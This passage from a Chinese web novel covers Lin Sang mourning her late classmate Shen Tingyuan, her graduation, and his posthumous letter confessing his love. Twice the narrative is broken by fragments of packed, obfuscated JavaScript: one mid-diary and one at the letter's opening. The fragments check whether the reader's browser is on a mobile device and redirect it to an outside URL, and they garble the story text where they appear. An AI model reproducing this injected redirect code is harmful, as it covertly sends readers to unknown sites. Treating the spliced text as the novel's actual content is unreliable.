吃过晚饭洗漱完后,林桑看着地上和床上堆放着的东西,一件一件全都按原来摆放的顺序收了回去。 收完后,她习惯性想将纸箱往床下塞,但这个箱子有些大,塞不了。 林桑想了想,将衣柜倒腾一番,腾出一个格子专门用来存放这个箱子。 纸箱放进去后上面还留了不少空间,林桑又走到床边趴下,将一个积满了灰的箱子翻出来。 这个箱子里的东西,也全是和他有关的。 唯一不同的是,里面的东西都是她自己存放的。 生日时他送的发簪和耳环,六一儿童节时的小黄人存钱罐,让她精准辨认他在靠近的香水,吃烧烤时他给买的李子园,他玩大冒险时扔的纸团,他说要随机抽查的奖牌,被他重新写过名字的小甘随身记,笔记本,绿色铁皮盒子里的同学录,还有两指宽的蓝色小纸条。 笔记本里记录的,大都是和他相遇的场景,以及她内心深处的碎碎念。 2013年9月26日 141班教室初见。 像他身后那道徒然升起的太阳一般来不及躲避。 黑T加校裤,笑起来时左边脸颊有个酒窝。 好神奇,竟然有人只有一个酒窝。 2013年10月19日 加上好友了。 他好像……很受欢迎。 2013年11月15日 食堂擦肩而过。 完蛋。 我好像真有点喜欢他。 …… 2013年12月6日 二楼楼梯拐角。 他背后蹭了灰,跟着到楼下也没敢提醒…… 林桑,胆小鬼。 …… 2015年6月25日 填报志愿。 碰到他毕业证了。 原来他也有短头发的时候。 他第一志愿也是一中。 高兴。 STY,一中见啦。 2015年6月26日35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809824|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老师说珍珠班比一中好不少。 改志愿了。 STY,希望出门时,能和你在某个地方相逢。 …… 2015年10月24日 一中门口。 毕业后第一次遇见他。 还是靠我假装路过得来的。 难道这就是没缘分吗。 2016年3月1日 假装路过也没再遇到过。 好吧。 确实没缘分。 我承认。 2016年3月6日 今天看到一句话: “命里有时终须有,命里无时莫强求。” 那么…… STY,再见。 祝你未来一路坦途,梦想皆能成真。 …… 日记是从她意识到喜欢上他开始写的,断断续续,时间跨度很大。 缘分这个东西说来也神奇,去了云亭附中后,在云亭这个统共才有四条大街道,每条街道都相交的小县城,讨厌的老师抬眼就能见到,想见的人却半年里只遇上过一次。 那之后,她以为他们的缘分到此就结束了,再怎么强求都求不来,所以决定停止记录。 没承想,她将笔记本和少女心事一起尘封的第二天,就在路边撞上沈听原。 后来更是成了同班同学。 原来,过去那些难捱的思念都在为今后每天能和他相伴做铺垫。 至于同学录,是初中毕业那会儿特别流行的,班上不少人都买了,跟发试卷一样在班里发完让所有人都写一份。 林桑也跟风买了一盒,她单独留了一张,汪亿涵看到后,知道她不敢,就打着自己的名义将那张同学录送去沈听原他们班让他写。 这张同学录送回来已经是三天后,汪亿涵说因为是以她的名义,沈听原估计也没多想,在背面的好友留言里写了祝汪亿涵每天都能开心。 汪亿涵当时面上有些尴尬,说要不找其他人要一张没写过的,重新找沈听原写一张,让他别写名字。 林桑怕她为难,而且再跑一次怪麻烦的,将同学录留了下来。 她将这张同学录放在最上方,时不时就会翻出来看看。 同学录上面的内容沈听原每一项都认认真真填的,唯独动物那一栏,不知道是不是误会了,其他人写的都是喜欢的动物,小猫小狗小兔什么的,只有他写了“可爱的人”四个大字。 林桑每次看到的时候,都好奇他写的时候是怎样的心理路程,以前一直想找个机会问问来着,每次都觉得有的是时间,现在也没机会知道了。 合上盖子后,林桑又拿起那个蓝色的小纸条。 上面的内容很简单: 16129250114749 沈听原 28 林桑看着微微扭扭的114749几个数字,想起这张座位条是初三最后一次月考结束时,汪亿涵给她的。 云亭四中每一次考试的时候都会弄座位条,每个人都不想考试结束后自己的信息还留在别人的课桌上,所以考完最后一科时大家都会默契地将座位条撕了。 沈听原成绩上来后,林桑每次都能和他一个考场,因为怕被发现,她只会隔着人群偷偷看他几眼,从未想过像其他同学那样,收藏喜欢的人的座位条。 那次考试一结束,她就下楼去了厕所,汪亿涵则跟着沈听原出考场,她借口看一眼他的座位条,沈听原嘴上说着大家的都一样,有什么稀奇的,还是将座位条递给了汪亿涵。 汪亿涵随意看了一眼后,已经走到楼梯口,就问他还要不要,不要的话她回教室顺手帮忙丢了,沈听原还得下楼回教室,也没在意,让她顺手帮忙扔了。 他应该是随手撕的,胶带将学号的后几个数字都带走了,模糊不清。 见他下了楼,汪亿涵跑回考场门口,看着门上贴着的座次表,用碳素笔将学号补齐,又用胶带将整张纸条都塑封好才给了林桑。 最后一次月考结束,再下一次便是中考了,林桑深知以后再没机会,就将座位条留了下来,不敢像别人那样拿来当书签或是放在笔袋里,她去买了塑封袋,放好后便将东西小心翼翼藏在房间里。 青春时期的喜欢总是干净纯粹,简简单单的小事就容易满足。譬如这个座位条,只因上面印了他的名字,对她来说就如宝藏一般珍贵。 林桑看了一会儿,摇头笑了笑,没将纸条放回去,而是将它从塑封袋里取出来。 放好座位条后,林桑将手机壳装了回去,她的手机壳是透明的,座位条和沈听原的蓝底证件照并排夹在手机后方。 她的指腹隔着透明壳摩挲着他带了浅浅笑意的脸。 顷刻间,思绪飘远,林桑想起这张证件照是高二那会儿要用到,他们一起去拍之后,互相交换的。 时隔几年,和他相关的东西,总算不用像过去那般小心隐藏。 而他的名字,却像最初悸动时那般,只能在心里反复咀嚼。 四季轮回,昼夜更迭,时间交错,兜来转去,一起经历过无数喜怒哀乐的他们,又回到了原点。 就连他,也变回了,她只能偷偷挂念的人。 纵有万般不舍,千般惦念,也不能再向任何人提及。 林桑视线在地面和床上梭巡一圈,看到这些物品时,她都能回忆起每一件物品是经历过怎样的故事才留在她身边的。 但这些东西带给她的杀伤力,远不及那件挂在衣柜里的校服外套。 很神奇,明明已经过去很久,可只要她打开衣柜,蓝月亮和反转巴黎在他身上交织出的独特气味就会扑面而来。 淡淡的香味从四面八方涌入鼻尖,她只要轻轻闭上眼,就能看见那个意气风发的少年身穿蓝白校服,满脸笑容地朝她飞奔而来。 物品和照片像是存储着独家记忆的时光穿梭机。 带着她将有他的那段青春又走了一遍。 只要这些东西还在,回忆就会如同一到阴雨天就犯的风湿病一样如期而至。 她该如何忘了他。 她哪里忘得了他。 * 之后的日子里,林桑的生活很简单,每天固定地守副食店、看书、画画什么的。 日子很充实,充实到她好像什么都来不及多想。 她不会刻意去想他。 可是啊,他们之间的羁绊是在这个不大的县城里开始的。 每一个地方都挂满了他用足迹描绘出的令人难忘的画卷。 身侧的空位,玻璃柜里的烟,柜台上的抹茶奶盖和酸奶紫米露,冰箱里冷藏的巧克力…… 太多太多。 每一幅画卷上的颜料都还未干。 一切都还历历在目。 林桑看着一旁空着的椅子,突然很想跟他说说话。 她关了副食店的门,沿着过去他们常走的路散步。 路过一家花店时,林桑鬼使神差地走进去买了一束洋甘菊。 从花店出来后,林桑看着手里的花,有些莫名自己为什么会走进花店买花。 她祝福他未来的路上鲜花满地。 可如今。 她买了束花,却不知该去何地祭奠他。 这几年来,她每一次许愿都与他有关,与他们共同奔赴的美好未来有关。林桑时常会想,难道她的祝福和对未来的期盼都带有诅咒吗,所以才会事与愿违。 她漫无目的地走着,不知不觉来到了捡雨路那棵编号64的凤凰花树下。 她抬头盯着编号看了半晌,蹲下身将手里的花靠在树根上。 “是你带我来这的吗?” “那就说好了,以后我就到这祭……” 想到什么,林桑顿了顿,改口道:“我的意思是,以后我就到这陪你说说话。” 她抬手指了指眼前的树:“你到了另一个地方,我以后都不能面对面和你说话了,这棵树就当做传话筒吧。” “你知道吗,我刚刚出去走了一圈才发现,现在已经买不到抹茶奶盖了,你喜欢的酸奶紫米露,也从五块涨价到七块了。” 林桑跟过去一样,和他说着一堆毫无营养的话,过了一会儿,想到什么,她从包里摸出手机道:“对了,你的手机现在在我手上,过去我点了千百次都没权限查看的日志,这段时间我全部看完了。” “你可不准骂我偷看你隐私啊。” “沈听原。”林桑双手放在膝上,偏头看着倚靠在树根上的洋甘菊说,“你就是个大骗子。” 那些日志里,写满了少年暗藏的赤忱真心。 那个秋日早晨视线相撞后心动的人—— 不止她一个。 说他喜欢上她的时间更迟,不过是他想要弥补她的借口。 * 一个月后,林桑收到了一个包裹,从北城寄过来的。 文件袋包装,很薄。 打开一看,里面是一张银行卡。 里面还留有一张纸条。 上面的字迹她很眼熟,但不是沈听原的: 密码你生日。 他投资的分成会按时打进这张卡里。 这是他给你留的别墅和民宿的装修基金。 务必收下。 落款处只有一个简单的“侯”字。 隔天,林桑买了票去了趟理诏。 这两年,云亭和理诏开通了高铁,不一会儿就到了。 她按照合同上的地址,找到了那家民宿。 面积很大,没有进行过任何的装修,是真的想要等她来定装修风格。 那之后,林桑每天又多了一件事可做,和装修公司沟通交流。 但刚开工没多久就碰上新冠肺炎大面积扩散,只能停了工。 就连林桑也只能每天待在家里上网课。 日子每天按部就班地过着,有时轻松,有时难熬。 好像很慢,又好像很快。 偶尔抬头看一眼外面的车水马龙,她总会想起那句诗: “年年岁岁花相似,岁岁年年人不同。” 此后,道路两旁的树木秋叶落尽,冬日用枯枝与落雪重逢,而后静待春日与绿叶和繁花相逢。 枝头的绿叶和繁花换了一茬又一茬,去年的鸟儿今年再也寻不到踪影。 年复一年,循环往复。 他们呢。 他们啊。 他们。 没有再相逢的那一天了。 那之后呢。 那之后啊。 那之后。 一眨眼。 什么都过去了。 38.第 38 章 六月盛夏,艳阳悬在高楼之上,枝头经久不衰的蝉鸣被一声声“毕业快乐”砸得稀碎。 又一年毕业季。 这一年,林桑成功保研本校;林景创业受疫情影响亏了一段时间,如今总算到了一个稳定时期;汪亿涵大二那年就出了国,准备继续深造;方倚霏和焦舜与在大三暑假时订了婚,准备留在西北发展;李宇栖在大四实习时官宣了女朋友,如今和女朋友签了同一家公司,定居东城;适珈蓝因为对当老师一直没什么兴趣,年年报名教资,年年裸考,年年差几分,家里终于妥协,让她专注泰语,出国留学;鲁琳则选择了跨校考研,成功通过复试,一战上岸;柳靳于最终没留队,退伍复学,享受着愉悦的大学生活;游书涧学计算机,和人合伙开了家游戏公司,每天忙到脚不沾地。 他们这一届说幸运也幸运,说惨也惨。 疫情爆发后,一直都处于封校状态,封着封着,不知不觉就毕业了,好在最初那一年多里经历过快乐又自由的大学生活。 原以为毕业典礼会像网上很多人发的那样是线上进行,就连毕业合照也要靠合成,没想到那段时间疫情稳定不少,只要不在风险地区的都能回校参加毕业典礼。 参加典礼领取了毕业证和学位证后,班长开始组织班上的同学拍合照。 林桑从典礼结束就一直电话不断,毕业典礼的时间全撞一块了,她给其他人订了花,店家不是缺花得换款式就是订单太多配送时间得缓一缓,她一边忙着拍照,一边忙着沟通。 好不容易消停一会儿,他们也给她订了花,让她上学校大门口取花的电话过一会儿就得进来一个。 等拍完照,脚边堆了不少花,上面都夹了贺卡,但只有祝福没有署名,她能猜到有谁给自己订了花,却不知道哪一束是谁订的。 舍友帮她一起分担,准备抱着花回寝室收拾东西的时候,林桑包里的手机又响了起来。 拍照的地方和学校大门有段距离,好在学校从去年开始就引进了电动滑板车,扫完码一溜烟就能到门口。 林桑到门口的时候,送花的小哥还没到,她等了一会儿才又接到小哥的电话。 小哥说他在另一道门,林桑只能重新骑上滑板车往那道门赶。 林桑远远地就见到了在门口探头的小哥,瞥见小哥手里的花,她愣了一瞬。 她不记得自己是怎么从小哥手里接过花的,等她回过神,门外已经没了送花小哥的身影。 林桑垂眼看着手里似火焰一般的凤凰花。 这是唯一一束没有贺卡的花。 也是唯一一束,她能确定订花人的花。 她抬手在花上碰了碰,低声道:“沈听原,你不止是个大骗子,还是个小气鬼。” 小气到连张贺卡都没给她留。 …… 在校的时候,出门逛街也好,网购也好,都没个节制,现在毕业了收拾东西的时候才开始后悔。 寝室里乱得像是废品收购站,骂声和哀嚎声不断。 好不容易将东西都处理完了,看着一地的花又开始头疼。 李璐和唐钰琪都很近,家里开车过来帮忙,没这个烦恼。 张清茹看着收到的花,决定忍痛割爱,多拍几张照后全扔了。 “你挑一束最喜欢的带回去留个纪念呗。”唐钰琪提议道。 “不不不。”张清茹头摇得像拨浪鼓,边拍照边说,“你是不知道现在这种时期赶车有多痛苦。” “又要出示各种码,又要反复掏身份证,又要拎行李的。” “我每次都特没安全感,班次和座位得看好几遍,还老是觉得身份证丢了,恨不能在身份证上凿个洞穿根线挂脖子上。” 唐钰琪闻言笑到直不起腰,“林桑那么多花都没着急呢。” 张清茹扫了一眼满地的花说:“林桑,你还要待在北城不打算回去啊?” 林桑之前跟着老师去参加活动什么的,一直都待在北城。 就连沈听原的生日时都没机会赶回去。 她顿了一下道:“回。” “我不带行李,这些花拆出来应该能带回去。” 张清茹瞥了眼行李箱,“对啊,我也拆两束带回去,到时候做成干花留着。” 其他手续都早早办好了,这会儿打扫完卫生找宿管阿姨检查签字盖章后,她们就能离校了。 当初踏进这间屋子的时候,大家都兴奋地互相询问着你是从哪来的,一转眼就到了忧愁地互相询问你准备去哪的时候。 林桑推着行李箱,回头看了一眼紧闭的房门。 两次毕业季。 都没能和他一起。 自始至终,只有她在和那段他短暂参与过的,早已去而不复返的青春道别。 * 林桑到云亭已经是晚上,次日她起了个早,等外面的店开始营业才出门。 她去花店买了一束花,又去蛋糕店取了前几天提前订好的蛋糕。 凤凰花处在花期,开得正盛,捡雨路上像是矗立着一群火炬手,艳丽的凤凰花让向来寂静的捡雨路热闹起来。 街道两旁已经有不少人在拍照。 林桑要去的树下一直有人,她提着东西,在一侧供人休憩的小石桌坐下。 一直等了十多分钟,那棵树下才慢慢没人停留。 林桑拎着蛋糕走到树前蹲下,将花倚在树根上后,拿出蛋糕点上一根蜡烛,给他唱了一首生日歌。 “祝沈听原小朋友生日快乐。” “我也不知道究竟该从哪一天算,就照常给你过吧。” 林桑说着,从包里翻出手机,点开相册道:“我有两个好消息,你想先听哪一个。” 默了一瞬,她又道:“算了,我直接告诉你吧。” “第一个好消息,我保研了,厉害吧。” “第二个好消息,我毕业啦。” “你看,这些是我的毕业照,还有你送我的花。” “你可真是个小气鬼,连贺卡都不给我写。” “不过。”林桑顿了顿,“你记得送我花,我就原谅你了。” 她又翻出一张照片,笑着说:“对了,我还带你一起合照了。” 这张照片,是拿了花回去之后让张清茹帮忙拍的,她穿着学士服,微卷的墨色长发垂在胸前,一手捧着凤凰花,一手拿着手机,屏幕正对着前方,上面是沈听原的照片,她还给他P了学士服和学士帽。 想到什么,她将手机翻了个面,指着手机壳下方夹着的那颗用五角钱叠的爱心说:“你没教我,我自己拆了按照痕迹学会的,厉害吧。” 她扬着眉,脸上有着小小的得意,像个求夸赞的小孩。 过了一会儿,林桑肩膀一塌,微微叹了口气,随后收了手机,又絮絮叨叨和他聊起最近都做了什么,遇上了什么事。 聊到最后,她有些怅然地说:“沈听原啊,你知道吗,你被骗了。” “法国的甜品我去尝过了,一点也不甜。” “……” 等林桑起身的时候,一双腿麻到几乎站不稳,还因为起太猛眼前一黑。 林桑伸手撑在树干上缓了缓,包里的手机响了起来。 她这会儿头晕得厉害,没看屏幕,凭着肌肉记忆滑下接听键。 “你好。”对面传来一道陌生的女声。 林桑顿了一瞬才道:“你好。” “是这样,有人在我这给您订了一束花,还给您留了一封信。” “我前两天没在店里忘了嘱咐,订单太多,员工一时疏忽,把花送过去了信没送。” “您这边方便的话,一会儿给您送过来行吗?” 林桑:“不好意思啊,我没在北城,近期也不打算回北城。” “能麻烦您帮我邮寄一下吗,费用我出。” 那头笑了一声道:“本来就是我们的疏忽,费用就不必了,您一会儿记得把地址发到这个号码上,我马上就联系快递员。” 林桑捏了捏太阳穴,轻声道:“好,谢谢。” …… 林桑接到快递的电话时,已经是两天后。 她给的地址是四洛巷,因为是城郊,除了大件都不会送货上门,得去驿站取。 这家驿站以前在云亭一中附近,如今搬到了捡雨路附近。 她拿完包裹出来,沿着石板路走,走到熟悉的地方停住脚步,在小石桌前坐下。 包裹拆开后,里面是一个粉色的信封。 林桑来回翻看了几次才将封口处的烫金掀开。 信一打开,熟悉的字迹出现在眼前,略带几分潦草:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811151|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 嗨,林桑! 这句招呼语下方被划了,显然是后期才改的。 林桑凑近仔细看了一会儿,才勉强辨认出最开始的招呼语—— 亲爱的小乖: 将划掉的部分辨认出来后,林桑才将信拿远了一些,继续往下看。 “子莫格尼! 先说好啊,看了这封信,可不能哭鼻子哦。 我都哄不到。 对不起啊,和你约定过那么多事,最后什么事都没做成。 你说过信奉诺言许下就一定要完成,我失约这么多次,还是想厚脸皮地请求你,别恨我。 我最近,总是在想,当初怎么就不能再忍忍,反正初二到高一,不也忍过来了。 要是我能按计划忍到高考结束就好了。这样,我就不会招惹你,不会和你做了那么多约定,却全部食言。可我转念一想,如果没让你知道我的心意,你是不是,就得一直辛苦的喜欢我,误会我和别人,自己偷偷难过。 所以,请你原谅我的自私。 至少,跟我在一起的时候。 你是开心快乐的。 对吧。 有个事,我一直没敢跟你说。身体是我自己的,他们瞒着我真实情况也没用,那场火灾之后,每天都很煎熬,我有体会,能猜到自己应该没多少时间可活。 只能赶在离开前,尽量将许下的诺言都完成。 说好了2018年一起考北城外国语大学,你对我的要求都已经降到了以后考上,我再失约,就不太合适了。 这是最重要的一项。 好在,这一项在出事前就已经完成。 不然可能真考不上了。 其次,你说想要和我一起慢慢享受共白头的过程,这个就有点难了,只能一步到位,快进到白头的环节。 别怪我。 还有,说好了正式表白等到高考结束后。 这个能做到,但我每天翻来覆去,犹豫了很久。 对不起,我不能这么做。 我们小乖,以后还要遇上很多人呢,怎么能跟一个快死的人谈恋爱。 说好了过年给你放烟花,想补上的,北城禁烟花,我想回云亭给你放来着。 恐怕也来不及了…… 我现在记忆力好像也有点不太行了,不知道有没有遗漏的,要是有,你多担待。 写字也有点困难,一封短短的信写得磕磕绊绊,字迹也潦草。 也不知道你能不能看出来。 暂时就说这么多吧。 最后,打个商量。 好好生活,好好看医生。忘了我,别再因为我失眠。 对了,拿到这封信的时候,你应该已经毕业了吧。 毕业快乐! 此刻看到这封信的你,是已经开始工作,还是继续读研呢。 不管了。 容许我先打个招呼。 你好,林外交官!” 右下角落款: 沈听原 2019年10月24日 空白的地方,用比上面这些内容更小的字写了一段话,应该也是后面才补上的: “本来想着等你毕业的时候才收到的话,会不会已经不合适,也怕你哭,都扔了来着,又忍不住捡了回来。 看到这句话的时候,你是不是很想大骂,沈听原就是个自私鬼,都不会考虑我的感受。 我发誓,这是最后一次打扰你了。 想怎么骂就骂吧。 骂个痛快。 我不会顶嘴的。 拜拜啦,小乖。” …… 信纸上落了星星点点的水渍,像是干涸已久的荒漠终逢甘露,迅速蔓延开来。 有风略过,枝头红艳的凤凰花随风摇摆着。 “啪嗒”一声。 一朵凤凰花打着旋落在信纸上。 她抬眸,泪水朦胧间—— 她又看到了那个意气风发的少年。 从模糊,到清晰。 他站在树下,白衣黑裤,眼里含笑,手里捧着凤凰花。 那句一直以来含蓄的杏叶黄了吗。 在这一瞬,终于以本意出现在她耳边。 他说:“我爱你。” -正文完-